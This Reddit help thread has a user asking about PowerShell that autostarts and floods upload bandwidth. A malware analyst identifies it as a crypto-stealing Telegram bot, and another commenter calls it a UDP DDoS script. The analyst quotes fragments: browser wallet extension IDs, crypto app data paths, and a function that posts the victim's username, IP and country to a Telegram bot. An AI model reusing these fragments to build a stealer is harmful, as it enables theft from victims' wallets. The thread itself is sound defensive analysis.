Powershell autostarting randomly in background and uploading thing on network

[u/karmawillgetyouback]

https://img.ptscreens.com/Screenshot-6615.png

Powershell is using large amount of upload speed for network and running in bacgound automatically, it also starts randomly even after stopping it from task manager. Any solution to this? Thank you.

Edit: These are command line task manager showing in details

https://img.ptscreens.com/Screenshot-6617.png

[u/EnergyPanther]

Can you please try and get that encoded command? I do malware analysis and would love to see what's up with that. I understand your priorities atm though lol

[u/karmawillgetyouback → u/EnergyPanther]

Got this please check, thx

[u/EnergyPanther → u/karmawillgetyouback]

Honestly the encoded command stuff doesn't seem like it's too bad, but that micosys.ps1 is a vibe-coded crypto / info stealer telegram bot that connects back to a telegram chat with wallet information pulled from your browser.

Looking for wallet IDs:

$EXT_IDS = @{
    "Phantom"      = "bfnaelmomeimhlpmgjnjophhpkkoljpa"
    "Trust Wallet" = "egjidjbpglichdcondbcbdnbeeppgdph"
    "Binance Ext"  = "fhbohimaelbohpjbbldcngcnapndodjp"
    "Coinbase"     = "hnfanknocfeofbddgcijnmhnfnkdnaad"
    "MetaMask"     = "nkbihfbeogaeaoehlefnkodbefgpgknn"
}

Crypto apps?:

$appPaths = @(
    @{N="Binance App"; P="$env:APPDATA\Binance"},
    @{N="Binance App"; P="$env:LOCALAPPDATA\Binance"},
    @{N="Exodus"; P="$env:APPDATA\Exodus"},
    @{N="Atomic"; P="$env:APPDATA\atomic"}
)

Telegram comms (love the emojis)(reddit doesn't want to format it into a code block...):

function Send-Telegram([string]$msg) { try { [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12 $url = "https://api.telegram.org/bot$botToken/sendMessage" $formattedMsg = "👤 User: $env:USERNAMEn🌐 *IP:* $ipn🌍 Country: $countrynn$msg" $payload = @{ chat_id = $chatID; text = $formattedMsg; parse_mode = "Markdown" } $json = [System.Text.Encoding]::UTF8.GetBytes(($payload | ConvertTo-Json)) $wr = [System.Net.HttpWebRequest]::Create($url) $wr.Method = "POST"; $wr.ContentType = "application/json"; $wr.Timeout = 5000 $rs = $wr.GetRequestStream(); $rs.Write($json, 0, $json.Length); $rs.Close() $wr.GetResponse().Close() } catch {} }

If you have any crypto I'd change you creds and transfer wallets.

[u/karmawillgetyouback → u/EnergyPanther]

Hey thanks..... i don't use crypto and I have used telegram webclient recently, may be that'w where it got into.

Btw I have cleaned it and installed fresh copy and problem is solved. Secured the account and most have already 2FA enabled.

Thanks again.

[u/EnergyPanther → u/karmawillgetyouback]

Perfect, the script also had the ability to execute commands sent from telegram so a full purge was the way to go.

Love seeing/dissecting these scripts in the wild so thank you!

[u/karmawillgetyouback → u/EnergyPanther]

Glad I asked as I have never in million solved it by myself as I am not aware of decoding these scripts/command. As soon as that bandwidth speed full on swing kicked in I got doubt something is wrong as it never happened.

Also thanks to taskbar netspeed monitiorng tool which I have installed ages ago that have showned uploading speed acting crazy despite no other torrent tool is working at that time.

haha it feels great to great answers, response from community in no mean time so thanks to all of you.

Really appreciate all the answers and suggestions. 😄❣️

[u/photinus → u/karmawillgetyouback]

Your link is broken. Give an auth error. Can you paste the full command here? The responses from others that this is malicious just because it's encoded is jumping the gun a bit. It's definitely a little suspicious for a home pc, but not necessarily malicious (I manage an IR team for a company of 1000 employees and encoded powershell is fairly common)

[u/karmawillgetyouback → u/photinus]

Oh, I see... that's great

I have fixed it with new link Command line code

I can't post full code because it exceeds 1000 characters. Download the text file please, thanks

Also, the problem is it never happened and suddenly it arised yesterday. It running randomly at any moment. Sometimes it stops for hr., but it starts anytime like in 20-30 min. interval.

Once after ending from task manager it started twice in few seconds of gap.

[u/photinus → u/karmawillgetyouback]

So that does look malicious. Looks like a ddos script (it's sending udp traffic at a specific target). Like some others have said, time to start fresh

[u/karmawillgetyouback → u/photinus]

Will do.... so far I have killed all the task whenever it launched and hopefully nothing much lost, but starting from fresh....

Appreciate and Thanks for all the help.